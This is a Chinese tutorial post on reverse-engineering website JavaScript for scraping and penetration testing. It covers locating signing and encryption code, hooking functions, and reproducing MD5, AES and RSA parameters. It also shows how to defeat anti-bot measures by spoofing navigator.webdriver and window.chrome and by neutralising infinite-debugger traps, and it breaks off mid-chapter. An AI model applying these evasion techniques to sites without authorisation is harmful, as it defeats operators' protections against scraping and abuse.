跳到主要内容
Web JS 逆向全体系详解:原理、工具与实战复现 | 极客日志
Python Node.js 大前端 算法
Web JS 逆向全体系详解:原理、工具与实战复现 系统讲解 Web JS 逆向技术,涵盖浏览器控制台(Network/Sources/Console)使用、加密参数定位(XHR 断点/Hook)、常见编码加密(Base64/MD5/AES/RSA)及混淆反混淆方法。提供 Node.js 环境补全、反调试绕过及 RPC 调用方案,并通过 Newrank 榜单案例演示从抓包分析到 Python 爬虫复现的全流程,同时包含渗透测试中的漏洞挖掘与修复建议,适合初学者至进阶开发者学习。
雾岛听风 发布于 2026/4/6 更新于 2026/5/22 31 浏览Web JS 逆向全体系内容
互联网技术安全提示与职业操守
做渗透测试,必须严格遵守以下原则:
合法授权 :仅在书面授权范围内使用逆向技术,禁止未授权测试;
最小影响 :避免使用高风险参数,防止目标服务崩溃;
数据保护 :枚举到的敏感数据需严格保密,测试后立即删除;
留痕清理 :测试结束后,协助目标清除测试留下的日志、文件等痕迹。
免责声明
本文所述所有渗透测试技术、工具、命令及实战案例,仅适用于已获得目标系统/网络所有者书面授权的测试场景。任何组织或个人若未取得明确书面授权,擅自将本文内容用于对第三方系统/网络的扫描、探测、攻击等行为,均属于非法网络活动,涉嫌违反相关法律法规,作者对此类非法行为不承担任何责任,相关法律后果由行为人自行承担。网络安全行业的核心伦理是'保护而非破坏',所有测试行为需严格控制在授权范围内。
第一部分:大纲全章节技术点入门详解
从基础入门到核心技术实操再到全流程实战全覆盖,零基础可学、步骤可复现。
第一章 逆向基础
1. 核心定义与底层原理
Web JS 逆向(Web JavaScript 逆向工程),本质是反向分析前端网页的 JS 代码:网站的接口加密、参数签名、反爬逻辑全部在前端 JS 中实现,我们通过调试、分析、还原 JS 代码,搞懂「加密参数的生成规则」,最终用 Python 或其他语言复现逻辑,实现爬虫、接口调用、渗透测试的目标。
底层原理:前端所有加密、反爬逻辑最终都要在浏览器中执行,只要代码能在浏览器运行,就能被分析、还原、复现。
2. 实战作用与应用场景
爬虫开发:破解网站 sign、token、加密 data 参数,实现自动化数据爬取;
渗透测试:分析前端登录加密、签名校验逻辑,寻找越权、未授权接口漏洞;
接口对接:第三方网站无开放 API 时,通过逆向实现接口调用;
反爬对抗:绕过网站的环境检测、反调试、代码混淆。
3. 核心知识点拆解
前端 JS 执行流程:网页加载→JS 下载→V8 引擎解析执行→发起接口请求;
核心目标:找到「加密参数的生成函数」,还原完整逻辑;
核心原则:所有前端加密都是纸老虎,密钥、逻辑都在前端 JS 中,只要能调试就能还原。
4. 极简入门示例
function generateSign (keyword, timestamp ) {
const str = keyword + timestamp;
return CryptoJS .MD5 (str).toString ();
}
第二章 浏览器控制台(DevTools)
DevTools 是 JS 逆向的核心工具,对应 Network、Sources+Application、Console 面板。
第一节 Network 面板
1. 核心定义与底层原理 Network 面板是浏览器的网络抓包工具,记录网页所有 HTTP/HTTPS 请求(接口、JS、图片等),可查看请求 URL、请求头、请求体、响应内容,是逆向的第一步 —— 找到目标接口和加密参数。
2. 实战作用与应用场景
找到目标数据接口(榜单、用户信息、搜索结果);
查看接口的加密参数(sign、token、data 等),确定逆向目标;
查看请求头、Cookie、Referer 等反爬校验字段;
查看接口响应内容,确认数据格式。
3. 核心知识点拆解
筛选器 :All / 全部、XHR/fetch(接口请求,逆向最常用)、JS、Img 等;
请求详情:
Headers:请求头、响应头、请求 URL、请求方法;
Payload:POST 请求的请求体(加密参数通常在这里);
Response:接口返回的内容;
Initiator:请求的发起者(JS 代码位置,定位加密函数的入口);
必开配置 :Preserve log(保留日志,刷新不清空)、Disable cache(禁用缓存)。
4. 极简入门操作
打开 Chrome,按 F12 打开 DevTools,切换到 Network 面板;
勾选「Preserve log」和「Disable cache」,点击「XHR/fetch」筛选器;
刷新网页,即可看到所有接口请求,点击任意一个查看加密参数。
第二节 Sources+Application 面板
1. 核心定义与底层原理
Sources 面板:JS 代码调试核心战场 ,可查看所有 JS 代码、设置断点、单步调试、查看变量值,找到加密函数核心逻辑;
Application 面板:查看网站的 Cookie、LocalStorage、SessionStorage,加密密钥、token 通常存储在这里。
2. 实战作用与应用场景
调试 JS 代码,单步执行查看加密过程的变量值,还原加密逻辑;
找到加密用的密钥、token、用户标识;
格式化压缩混淆的 JS 代码,提升可读性;
断点管理:精准定位加密函数入口。
3. 核心知识点拆解
代码格式化 :点击 JS 代码左下角的 {} 按钮,把压缩的单行代码格式化为分行可读代码;
断点类型:
普通断点:点击代码行号,执行到该行暂停;
条件断点:右键行号设置条件,条件满足时暂停;
XHR 断点:接口 URL 包含指定关键词时暂停,定位加密入口;
调试控制按钮:
继续执行(F8):执行到下一个断点;
单步跳过(F10):逐行执行,不进入函数内部;
单步进入(F11):逐行执行,进入函数内部;
单步跳出(Shift+F11):跳出当前函数;
Scope 面板 :断点暂停时,查看当前作用域的所有变量值,还原加密逻辑的核心。
4. 极简入门示例
function encryptData (data ) {
const key = localStorage .getItem ("encrypt_key" );
return AES .encrypt (data, key).toString ();
}
打开 Sources 面板,找到这段代码;
点击 return 行的行号设置断点;
触发接口请求,代码暂停;
在 Scope 面板查看 data、key 的值,确认加密输入和密钥;
打开 Application 面板,找到 LocalStorage 里的 encrypt_key。
第三节 Console 面板
1. 核心定义与底层原理 Console 面板是 JS 交互式执行环境,可直接执行 JS 代码、调用网站函数、查看变量、注入 Hook 代码,是逆向的「测试场」。
2. 实战作用与应用场景
测试加密函数:调用网站的加密函数,传入自定义参数,验证逻辑正确性;
查看变量 / 函数定义:确认网站的全局变量、加密函数逻辑;
执行 Hook 代码:拦截加密函数、原生方法,查看参数和返回值;
调试输出:断点暂停时,查看变量的详细信息。
3. 核心知识点拆解
全局作用域 :Console 中执行的代码默认在网页全局作用域,可直接调用网站的全局函数、变量;
常用指令:
console.log(变量):输出变量值;
console.dir(对象):输出对象的所有属性和方法;
debugger:手动触发断点;
代码补全 :输入代码时按 Tab 自动补全函数名、变量名。
4. 极简入门示例
const testSign = generateSign ("测试关键词" , "1761800000000" );
console .log ("测试生成的 sign:" , testSign);
console .dir (generateSign);
console .log ("加密密钥:" , localStorage .getItem ("encrypt_key" ));
第三章 加密参数的定位方法 对应大纲内容:常用方法 + Hook 注入,核心是 XHR 断点定位、Hook 注入定位,是逆向的核心步骤。
第一节 XHR 断点定位加密函数
1. 核心定义与底层原理 XHR 断点(XMLHttpRequest/fetch 断点),原理是:浏览器发起接口请求前,会先执行 JS 加密逻辑生成参数,我们给接口 URL 设置断点,请求发起时浏览器会自动暂停,通过调用栈回溯即可找到加密参数的生成函数。
2. 实战作用与应用场景
90% 的逆向场景通用,快速定位加密参数生成位置;
不知道加密函数名、关键词时,无需盲目搜索代码;
精准定位,不会遗漏加密逻辑。
3. 核心知识点拆解
断点触发条件:发起的接口 URL 包含设置的关键词时触发;
调用栈(Call Stack):断点触发后,面板会显示代码执行顺序,最上方是当前代码,往下是调用它的代码,从下往上回溯即可找到业务代码中的加密逻辑;
框架过滤:jQuery、Axios 等框架代码不是目标,需跳过。
4. 极简入门操作
打开 DevTools→Sources 面板,找到「XHR/fetch Breakpoints」;
点击「Add breakpoint」,输入接口 URL 关键词(如 rank/list);
触发接口请求,断点触发;
查看 Call Stack,从下往上找到业务代码,进入即可找到加密函数。
第二节 Hook 注入定位加密函数
1. 核心定义与底层原理 Hook 注入(函数钩子),原理是:重写浏览器原生方法、网站加密函数,在函数执行前先执行我们的代码,查看函数的输入参数、返回值,甚至修改结果,从而定位加密位置。
2. 实战作用与应用场景
已知加密用了 Base64/MD5/AES 等方法,Hook 对应方法即可找到调用位置;
查看接口请求前的参数,确认加密结果;
绕过环境检测、反调试。
3. 核心知识点拆解
Hook 核心逻辑:保留原函数→重写函数→添加自定义逻辑→调用原函数→返回结果 ;
常用 Hook 目标:
原生编码:window.btoa/window.atob(Base64);
加密 API:window.crypto.subtle;
接口请求:XMLHttpRequest.prototype.send/window.fetch;
哈希方法:CryptoJS.MD5/CryptoJS.AES;
Hook 时机:需在网站 JS 执行前注入,否则 Hook 不到。
4. 极简入门 Hook 代码
const originalBtoa = window .btoa ;
window .btoa = function (...args ) {
console .log ("btoa 被调用,输入:" , args[0 ]);
const result = originalBtoa.apply (this , args);
console .log ("btoa 编码结果:" , result);
console .log ("调用栈:" , new Error ().stack );
return result;
};
第四章 常见的压缩和混淆 对应大纲内容:压缩混淆概述、javascript-obfuscator 示例,核心是 JS 混淆的原理、识别、反混淆基础。
1. 核心定义与底层原理
代码压缩 :删除空格、换行、注释,把长变量名改为短名(如 generateSign→a),减小文件体积,同时降低代码可读性;
代码混淆 :通过字符串加密、控制流扁平化、死代码注入、变量名乱码等方式,把可读代码变成完全看不懂的「乱码」,核心目的是保护前端代码,防止逆向分析 ,是网站最常用的反爬手段。
底层原理:混淆后的代码功能和原代码完全一致,只是代码形态改变,浏览器 V8 引擎仍可正常执行,仅人类无法读懂。
2. 实战作用与应用场景
逆向场景:识别网站的混淆工具,选择对应的反混淆方法;
反爬对抗:还原混淆代码,找到加密、反爬逻辑;
代码保护:自己的前端代码用混淆工具保护,防止被逆向。
3. 核心知识点拆解
常见混淆工具:
javascript-obfuscator:最常用、功能最强的混淆工具;
Terser:主流压缩工具,支持基础混淆;
JScrambler:商业级混淆工具,反调试能力强;
常见混淆手段:
变量名 / 函数名混淆:把有意义的名字改为 _0x123456、a、b 等乱码;
字符串加密:把代码中的 URL、密钥、提示语加密,运行时再解密;
控制流扁平化:把顺序执行的代码改为 switch-case 循环,打乱执行顺序;
死代码注入:插入永远不会执行的代码,干扰分析;
反调试:加入无限 debugger、DevTools 检测代码,防止被调试。
4. 极简入门示例
混淆前原始代码 function generateSign (data, timestamp ) {
const salt = "my_secret_salt" ;
const signStr = salt + data + timestamp;
return CryptoJS .MD5 (signStr).toString ();
}
javascript-obfuscator 混淆后代码 var _0x1a2b=['MD5' ,'toString' ,'my_secret_salt' ];
(function (_0x3c4d,_0x1a2b5 ){var_0x2f8e=function (_0x3d9a ){while (--_0x3d9a){_0x3c4d['push' ](_0x3c4d['shift' ]());}};_0x2f8e (++_0x1a2b5);}(_0x1a2b,0x10 ));
var_0x2f8e=function (_0x3c4d,_0x1a2b5 ){_0x3c4d=_0x3c4d-0x0 ;var _0x2f8e2=_0x1a2b[_0x3c4d];return _0x2f8e2;};
function generateSign (_0x4d5a,_0x5f6b ){const _0x1e3f=_0x2f8e (0x0 );const _0x7c8d=_0x1e3f+_0x4d5a+_0x5f6b;return CryptoJS [_0x2f8e (0x1 )](_0x7c8d)[_0x2f8e (0x2 )]();}
第五章 常见的编码和加密 对应大纲内容:常见的编码和加密,是 JS 逆向的核心基础,90% 的网站加密参数都用这几种算法。
通用核心定义
编码 :可逆、无密钥的转换,目的是方便传输,不是加密,如 Base64,任何人都能解码;
加密 :可逆、有密钥的转换,目的是保护数据,只有持密钥者能解密,如 AES、RSA;
哈希(摘要) :不可逆的转换,把任意长度内容转成固定长度字符串,无法从结果还原原始内容,如 MD5,常用于签名、防篡改。
第一节 Base64 编码
1. 核心定义与底层原理 Base64 是二进制转文本编码,把二进制数据(图片、字符串)转换成由 64 个可打印字符(A-Z、a-z、0-9、+、/)组成的字符串,目的是让二进制数据在 HTTP 协议中正常传输,避免乱码。
底层原理:把 3 个字节(24 位)拆成 4 个 6 位的块,每个 6 位对应 Base64 表的一个字符,不足用 = 补全。
2. 实战作用与应用场景
网站的 data、token 参数常用 Base64 编码;
接口中的图片、文件用 Base64 传输;
逆向场景:参数结尾有 =,大概率是 Base64 编码,解码即可看到原始内容。
3. 核心知识点拆解
浏览器原生方法:window.btoa() 编码,window.atob() 解码;
特征:编码后仅包含 A-Z、a-z、0-9、+、/、=,结尾可能有 1-2 个 =;
注意:Base64 是编码不是加密,无密钥,任何人都能解码。
4. 极简入门代码
const rawStr = "我的加密内容 123" ;
const base64Str = btoa (encodeURIComponent (rawStr));
console .log ("Base64 编码结果:" , base64Str);
const decodeStr = decodeURIComponent (atob (base64Str));
console .log ("Base64 解码结果:" , decodeStr);
第二节 MD5 哈希算法
1. 核心定义与底层原理 MD5(Message-Digest Algorithm 5)是不可逆的哈希摘要算法,把任意长度的输入转换成固定 32 位十六进制字符串,输入内容稍有变化,输出结果完全不同,无法从 MD5 值还原原始内容。
底层原理:通过四轮非线性函数运算,把输入拆分成 512 位的块,最终生成 128 位哈希值,转成 32 位十六进制字符串。
2. 实战作用与应用场景
网站接口的 sign 签名参数 90% 用 MD5 生成,防止参数被篡改;
早期网站用 MD5 加密用户密码;
逆向场景:看到 32 位十六进制字符串,大概率是 MD5 签名,核心是还原拼接规则。
3. 核心知识点拆解
特征:输出固定 32 位(或 16 位)十六进制字符串,仅包含 0-9、a-f(A-F);
不可逆:无法从 MD5 值还原原始内容,逆向核心是找到拼接规则 (如 盐值 + 参数 + 时间戳);
常用库:前端用 CryptoJS.MD5(),Python 用 hashlib.md5()。
4. 极简入门代码
const keyword = "Python 逆向" ;
const timestamp = "1761800000000" ;
const salt = "my_secret_salt" ;
const signStr = salt + keyword + timestamp;
const sign = CryptoJS .MD5 (signStr).toString ().toLowerCase ();
console .log ("生成的 MD5 签名:" , sign);
第三节 AES 对称加密
1. 核心定义与底层原理 AES(Advanced Encryption Standard)是对称加密算法,加密解密用同一个密钥,加密速度快、安全性高,是网站最常用的对称加密算法,用于加密接口请求体、响应体。
底层原理:把明文分成 128 位的块,通过多轮替换、移位、混合运算,用密钥加密成密文,解密时用同一个密钥反向运算。
常见模式:CBC 模式(最常用,需 IV 初始向量)、ECB 模式(简单,不安全)。
2. 实战作用与应用场景
网站接口的 data 参数用 AES 加密,防止请求内容被抓包查看;
响应体加密:网站返回的内容是 AES 加密的,前端解密后渲染;
逆向场景:需找到 AES 的密钥、IV、模式、填充方式,才能解密 / 复现加密逻辑。
3. 核心知识点拆解
核心要素:
密钥(Key):16 位(AES-128)、24 位(AES-192)、32 位(AES-256),加密解密共用;
初始向量(IV):CBC 模式必须,16 位,和密钥一起用于加密;
模式:CBC(最常用)、ECB;
填充方式:PKCS7Padding(CryptoJS 默认)、PKCS5Padding;
特征:加密后的内容通常是 Base64 编码或十六进制字符串。
4. 极简入门代码
const key = CryptoJS .enc .Utf8 .parse ("1234567890abcdef" );
const iv = CryptoJS .enc .Utf8 .parse ("0123456789abcdef" );
const rawData = '{"keyword":"Python 逆向","page":1}' ;
const encrypted = CryptoJS .AES .encrypt (
rawData, key,
{iv : iv, mode : CryptoJS .mode .CBC , padding : CryptoJS .pad .Pkcs7 }
);
const encryptedStr = encrypted.toString ();
console .log ("AES 加密结果:" , encryptedStr);
const decrypted = CryptoJS .AES .decrypt (
encryptedStr, key,
{iv : iv, mode : CryptoJS .mode .CBC , padding : CryptoJS .pad .Pkcs7 }
);
const decryptedStr = decrypted.toString (CryptoJS .enc .Utf8 );
console .log ("AES 解密结果:" , decryptedStr);
第四节 RSA 非对称加密
1. 核心定义与底层原理 RSA 是非对称加密算法,有一对密钥:公钥(Public Key)和私钥(Private Key),公钥加密的内容只有对应的私钥能解密;私钥签名的内容,公钥能验证签名。安全性基于大数质因数分解的难度,是目前最常用的非对称加密算法。
2. 实战作用与应用场景
网站登录:前端用公钥加密用户密码,传输到后端,后端用私钥解密,防止密码被抓包泄露;
签名验签:后端用私钥对数据签名,前端用公钥验证,防止数据被篡改;
逆向场景:登录接口的密码加密通常用 RSA,需找到公钥,复现加密逻辑。
3. 核心知识点拆解
核心特征:
公钥是公开的,通常以 -----BEGIN PUBLIC KEY----- 开头,网站会通过接口返回或硬编码在 JS 中;
加密后的内容是长字符串,通常是 Base64 编码;
非对称:公钥只能加密不能解密,只有私钥能解密,逆向只能复现加密,无法解密。
常用库:前端用 JSEncrypt 库,Python 用 pycryptodome 库。
4. 极简入门代码
const publicKey = `-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCqGKukO1De7zhZj6+H0qtjTkVxwTCpvKe4eCZ0FPqri0cb2JZfXJ/DgYSF6vUpwmJG8wVQZKjeGcjDOL5UlsuusFncCzWBQ7RKNUSesmQRMSGkVb1/3j+skZ6UtW+5u09lHNsj6tQ51s1SPrCBkedbNf0Tp0GbMJDyR4e9wIDAQAB -----END PUBLIC KEY-----` ;
const encrypt = new JSEncrypt ();
encrypt.setPublicKey (publicKey);
const password = "my_password_123" ;
const encryptedPassword = encrypt.encrypt (password);
console .log ("RSA 加密后的密码:" , encryptedPassword);
第六章 加密参数还原与模拟 对应大纲内容:Newrank 榜单逆向、MD5/RSA/AES 加密逆向案例,核心是把前面的技术整合,还原加密逻辑并复现,完整实战案例见第三模块。
第七章 浏览器环境补充 对应大纲内容:常被检测的环境、手动补全、JSDOM、Selenium、Puppeteer,核心是解决「JS 代码在 Node.js 中运行报错,缺少浏览器环境」的问题。
1. 核心定义与底层原理 浏览器环境,指 JS 代码运行时浏览器提供的全局对象和 API,比如 window、document、navigator、location 等。网站的 JS 代码很多依赖这些浏览器 API,而 Node.js 中没有这些对象,直接复制网站 JS 代码到 Node.js 运行会报 window is not defined 等错误。
环境补全:在 Node.js 中模拟浏览器的全局对象和 API,让网站的 JS 代码能在 Node.js 中正常运行,生成加密参数。
2. 实战作用与应用场景
逆向场景:网站加密代码依赖浏览器环境,无法直接在 Node.js 中运行,需补全环境;
爬虫开发:补全环境后,可在 Python 爬虫中调用 Node.js 加密函数,生成加密参数;
反爬对抗:绕过网站的浏览器环境检测,模拟正常浏览器环境。
3. 核心知识点拆解
常被检测 / 依赖的环境对象:
全局对象:window、self、this(浏览器顶层 this 指向 window);
浏览器信息:navigator(userAgent、platform、webdriver);
DOM 对象:document、location、history;
屏幕信息:screen(宽度、高度);
加密 API:window.crypto;
环境补全的三种方式:
手动补全:自己写代码模拟缺少的对象和 API,适合简单场景;
JSDOM 补全:用 JSDOM 库模拟完整的浏览器 DOM 环境,适合中等复杂度场景;
浏览器自动化:用 Selenium、Puppeteer 直接控制真实浏览器,运行 JS 代码,适合复杂环境检测场景。
4. 极简入门示例
(1)手动环境补全(简单场景)
global .window = global ;
global .navigator = {
userAgent : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0 Safari/537.36" ,
platform : "Win32" ,
webdriver : false
};
global .location = {
href : "https://www.example.com" ,
host : "www.example.com"
};
console .log ("浏览器环境补全完成,userAgent:" , window .navigator .userAgent );
(2)JSDOM 环境补全(中等场景)
const {JSDOM } = require ('jsdom' );
const dom = new JSDOM ('<!DOCTYPE html>' , {
url : "https://www.example.com" ,
userAgent : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0 Safari/537.36" ,
runScripts : "dangerously"
});
global .window = dom.window ;
global .document = dom.window .document ;
global .navigator = dom.window .navigator ;
global .location = dom.window .location ;
console .log ("JSDOM 环境补全完成,document 对象:" , document );
第八章 浏览器环境监测 对应大纲内容:浏览器环境监测,核心是网站的反爬手段 —— 检测当前运行环境是真实浏览器,还是爬虫 / Node.js/ 自动化工具。
1. 核心定义与底层原理 浏览器环境监测(指纹检测、反自动化检测),是网站的前端反爬手段,通过 JS 代码检测当前环境的特征,判断是正常用户的浏览器,还是爬虫程序、自动化工具(Selenium/Puppeteer)、Node.js 环境,如果检测到是爬虫,就会返回错误数据、封禁 IP、触发验证码。
底层原理:真实浏览器的环境特征,和自动化工具、Node.js 的环境特征有很多差异,网站通过检测这些差异识别爬虫。
2. 实战作用与应用场景
逆向场景:分析网站的环境检测逻辑,找到检测点,绕过反爬;
爬虫开发:修改自动化工具的环境特征,模拟真实浏览器,绕过检测;
渗透测试:分析网站的反爬规则,找到绕过方法,实现自动化爬取。
3. 核心知识点拆解
常见的检测点:
navigator.webdriver:自动化工具会把这个值设为 true,真实浏览器是 undefined;
window.chrome:Chrome 浏览器有这个对象,无头浏览器、自动化工具可能没有;
navigator.userAgent:检测 UA 是否是爬虫的 UA;
screen 对象:检测屏幕分辨率、颜色深度,无头浏览器的分辨率可能异常;
插件检测:navigator.plugins,真实浏览器有插件,无头浏览器没有;
鼠标 / 键盘事件:检测是否有真实的鼠标移动、键盘输入,自动化工具的事件特征和真人不同;
Canvas/WebGL 指纹:检测浏览器的图形渲染特征,识别无头浏览器。
绕过核心思路 :找到网站的检测代码,Hook 对应的属性,修改返回值,模拟真实浏览器的特征。
4. 极简入门示例(绕过 webdriver 检测)
Object .defineProperty (navigator,'webdriver' ,{
get :()=> undefined ,
});
Object .defineProperty (window ,'chrome' ,{
get :()=> ({runtime :{},loadTimes :()=> {},csi :()=> {}}),
});
console .log ("webdriver 检测绕过完成,navigator.webdriver:" , navigator.webdriver );
第九章 加密方法远程调用(RPC) 对应大纲内容:微博登录参数 RPC,核心是远程调用浏览器里的加密函数,不用还原加密逻辑、不用补全环境。
1. 核心定义与底层原理 RPC(Remote Procedure Call,远程过程调用),在 JS 逆向里指:在浏览器里运行网站的 JS 代码,我们通过 WebSocket/HTTP 接口,远程调用浏览器里的加密函数,拿到加密结果 。
底层原理:网站的加密代码在真实浏览器里运行完全正常,不会有环境检测、代码混淆的问题,我们只需要在浏览器里开一个接口,让 Python 爬虫能调用这个接口,拿到加密参数,不用费劲还原加密逻辑、补全环境。
2. 实战作用与应用场景
加密逻辑极度复杂,无法还原(混淆严重、WASM 加密、环境检测多);
网站的加密代码经常更新,还原逻辑的成本太高,用 RPC 一劳永逸;
微博登录、支付接口等复杂加密场景,用 RPC 快速实现加密参数生成。
3. 核心知识点拆解
RPC 实现原理:
在浏览器里注入 JS 代码,启动一个 WebSocket 服务,或者用油猴脚本、浏览器插件,监听 HTTP 请求;
Python 爬虫发送请求,把要加密的参数传给浏览器里的 RPC 服务;
浏览器里的 RPC 服务,调用网站的加密函数,生成加密结果;
把加密结果返回给 Python 爬虫,爬虫用这个参数发起接口请求。
常用实现方式:
油猴脚本(Tampermonkey)+ 本地 HTTP 服务:最常用,简单易实现;
浏览器插件:稳定性高,适合长期使用;
Puppeteer/Selenium:直接在自动化浏览器里调用 JS 函数,拿到结果,属于轻量 RPC。
4. 极简入门示例(油猴 RPC 脚本)
(function ( ){'use strict' ;
const ws = new WebSocket ('ws://127.0.0.1:8080' );
ws.onopen =()=> { console .log ("RPC 服务连接成功" ); };
ws.onmessage =(event )=> {
const params = JSON .parse (event.data );
const keyword = params.keyword ;
const timestamp = params.timestamp ;
const sign = window .generateSign (keyword, timestamp);
const encryptedData = window .encryptData (JSON .stringify (params));
ws.send (JSON .stringify ({sign : sign, encryptedData : encryptedData }));
};
})();
第十章 常见协议分析 对应大纲内容:常见协议分析,核心是 HTTP/HTTPS 协议的结构、请求方法、头字段、接口分析方法,是逆向的基础。
1. 核心定义与底层原理 HTTP(HyperText Transfer Protocol,超文本传输协议)、HTTPS(HTTP+SSL/TLS,加密的 HTTP)是浏览器和网站服务器之间通信的协议,所有的网页加载、接口请求,都是通过这个协议传输的。协议分析,就是分析请求和响应的结构,找到接口的调用规则、参数格式、反爬校验字段,是逆向的第一步。
2. 实战作用与应用场景
逆向场景:找到目标数据接口,分析接口的请求规则、加密参数、反爬字段;
爬虫开发:根据协议分析的结果,构造合法的请求,实现数据爬取;
渗透测试:分析接口的漏洞,比如越权、SQL 注入、未授权访问。
3. 核心知识点拆解
HTTP 请求结构:
请求行:请求方法(GET/POST)、请求 URL、协议版本(HTTP/1.1);
请求头(Request Headers):浏览器发给服务器的附加信息,是反爬的核心校验点,常见字段:
User-Agent:浏览器的标识,反爬必校验;
Referer:请求的来源页面,告诉服务器你是从哪个页面来的;
Cookie:用户的身份标识,登录状态、会话信息都在这里;
Content-Type:请求体的格式,常见的有 application/json、application/x-www-form-urlencoded;
Authorization:token 认证字段;
请求体(Request Body):POST 请求的参数,加密参数通常在这里;
HTTP 响应结构:
状态行:协议版本、状态码(200 成功、403 禁止访问、404 未找到、500 服务器错误);
响应头(Response Headers):服务器返回的附加信息;
响应体(Response Body):服务器返回的数据,通常是 JSON 格式,我们要爬取的内容在这里;
常见请求方法:
GET:从服务器获取数据,参数放在 URL 里;
POST:向服务器提交数据,参数放在请求体里,加密参数通常用 POST。
4. 极简入门示例(协议分析步骤)
打开 Chrome DevTools→Network 面板,勾选 Preserve log 和 Disable cache;
触发网页的查询操作,找到对应的 XHR 接口;
查看请求行:POST https://api.example.com/rank/list HTTP/1.1;
查看请求头:找到 User-Agent、Referer、Cookie、Content-Type;
查看请求体:{"data":"xxx","sign":"xxx","timestamp":"xxx"},找到加密参数;
查看响应体:{"code":0,"data":{"list":[]}},确认数据格式;
用 Python 构造相同的请求,验证是否能拿到数据。
第十一章 常见反调试 对应大纲内容:无限 debugger 的原理与绕过,核心是网站的反调试手段,防止我们用 DevTools 调试 JS 代码。
1. 核心定义与底层原理 反调试,是网站的前端反爬手段,通过 JS 代码,检测用户是否打开了 DevTools(开发者工具),如果打开了,就会触发无限 debugger、页面卡死、代码加密、返回错误数据,防止我们调试、分析 JS 代码。
无限 debugger 的原理:用定时器 / 循环,不断执行 debugger 语句,只要打开了 DevTools,代码就会不断暂停,无法正常调试,页面也会变得卡顿。
2. 实战作用与应用场景
逆向场景:绕过网站的反调试,正常调试 JS 代码,找到加密函数;
爬虫开发:分析网站的反调试逻辑,绕过反爬,实现自动化爬取;
反爬对抗:掌握反调试的原理,找到对应的绕过方法。
3. 核心知识点拆解
常见反调试手段:
无限 debugger:最常用,用 setInterval 不断执行 debugger;
DevTools 检测:检测 DevTools 是否打开,比如检测 console.log 的执行时间、检测窗口大小变化;
代码压缩混淆:让代码无法读懂,增加调试难度;
断点检测:检测是否设置了断点,触发反爬;
内存爆破:生成大量的对象,让 DevTools 卡顿,无法调试。
setInterval (()=> { debugger ; }, 100 );
绕过核心思路 :让 debugger 语句不执行,或者执行了也不暂停。
4. 极简入门示例(无限 debugger 绕过)
方法 1:条件断点绕过(最简单)
打开 DevTools→Sources 面板,找到 debugger 语句所在的行;
右键行号,选择「Add conditional breakpoint」;
在条件框里输入 false,按回车;
刷新页面,debugger 永远不会触发,正常调试。
方法 2:Hook 绕过(通用)
const originalFunction = Function ;
Function = function (...args ) {
if (args.join ('' ).includes ('debugger' )) {
return () => {};
}
return originalFunction.apply (this , args);
};
第十二章 调试工具补充 对应大纲内容:调试工具补充,核心是 Chrome DevTools 的进阶调试技巧,提升逆向效率。
1. 核心定义与底层原理 Chrome DevTools 除了基础的断点、单步调试,还有很多进阶的调试工具,能帮我们快速定位加密函数、分析代码执行流程、查看变量变化,提升逆向效率。
2. 实战作用与应用场景
快速定位加密函数,不用盲目翻代码;
分析复杂的代码执行流程,找到加密逻辑;
监控变量的变化,找到密钥、盐值的来源;
绕过简单的反调试,提升调试效率。
3. 核心知识点拆解
进阶调试工具:
事件断点(Event Listener Breakpoints) :Sources 面板里,给点击、提交、键盘等事件设置断点,触发事件时,代码会暂停,找到事件对应的处理函数,适合定位按钮点击后的加密逻辑;
全局搜索(Search) :按 Ctrl + Shift + F,打开全局搜索,搜索关键词(比如 sign、encrypt、md5、aes),找到所有包含关键词的 JS 代码,快速定位加密函数;
代码格式化 :点击 JS 代码左下角的 {} 按钮,把压缩的一行代码格式化成行可读代码,逆向必备;
监视(Watch) :断点暂停时,在 Watch 面板里添加变量,实时查看变量的值变化,不用每次都在 Console 里输入;
调用栈(Call Stack) :断点暂停时,Call Stack 面板显示代码的执行顺序,能回溯到加密函数的调用位置,找到参数的来源;
黑盒脚本(Blackbox Script) :右键 JS 文件,选择「Blackbox Script」,把框架代码、第三方库代码加入黑盒,调试时不会进入这些代码,只关注业务代码;
性能面板(Performance) :录制页面的代码执行过程,查看函数的执行时间、调用顺序,找到加密函数的执行时机。
4. 极简入门示例(全局搜索定位加密函数)
打开 Chrome DevTools,按 Ctrl + Shift + F 打开全局搜索;
输入关键词 sign:(接口里的签名参数名),按回车;
搜索结果会显示所有包含 sign: 的 JS 代码,点击进入对应的 JS 文件;
格式化代码,在生成 sign 的代码行设置断点;
触发接口请求,断点触发,就能看到 sign 的生成逻辑。
第十三章 AST 技术与反混淆 对应大纲内容:AST 技术简介、babel/parser、babel/generator、babel/traverse、babel/types、使用 AST 还原混淆代码,核心是用 AST 技术反混淆 javascript-obfuscator 混淆的代码。
1. 核心定义与底层原理 AST(Abstract Syntax Tree,抽象语法树),是源代码的树形结构化表示,把一行行代码,拆解成一个个节点(Node),每个节点代表代码的一个语法单元(比如变量声明、函数调用、字符串)。
反混淆的原理:混淆后的代码,AST 结构和原始代码的 AST 结构是一致的,只是节点的内容被加密、打乱了。我们通过解析混淆代码的 AST,遍历节点,把加密的字符串解密、把打乱的控制流还原、把乱码的变量名重命名,再把 AST 转回代码,就能得到可读的反混淆代码。
2. 实战作用与应用场景
逆向场景:还原 javascript-obfuscator 混淆的代码,把乱码代码变成可读的代码,找到加密逻辑;
代码分析:用 AST 分析代码的结构,找到加密函数、反调试代码;
批量代码修改:用 AST 批量修改代码,比如替换变量名、删除死代码。
3. 核心知识点拆解
AST 处理的四步流程:
解析(Parse) :用 @babel/parser 把 JS 代码解析成 AST 树;
遍历(Traverse) :用 @babel/traverse 遍历 AST 树的所有节点,修改、还原节点内容;
生成(Generate) :用 @babel/generator 把修改后的 AST 树转回 JS 代码;
类型校验(Types) :用 @babel/types 创建、校验节点类型,确保 AST 结构正确。
常见的节点类型:
StringLiteral:字符串字面量,比如 "abc",混淆后的加密字符串都是这个类型;
CallExpression:函数调用表达式,比如 encrypt("abc");
VariableDeclaration:变量声明,比如 var a = 1;
FunctionDeclaration:函数声明,比如 function a() {};
IfStatement:if 条件语句;
反混淆的核心操作:
字符串解密:遍历 StringLiteral 节点,调用混淆代码里的解密函数,还原原始字符串;
控制流还原:把 switch-case 扁平化的控制流,还原成顺序执行的代码;
变量名重命名:把 _0x123456 这种乱码变量名,改成有意义的名字;
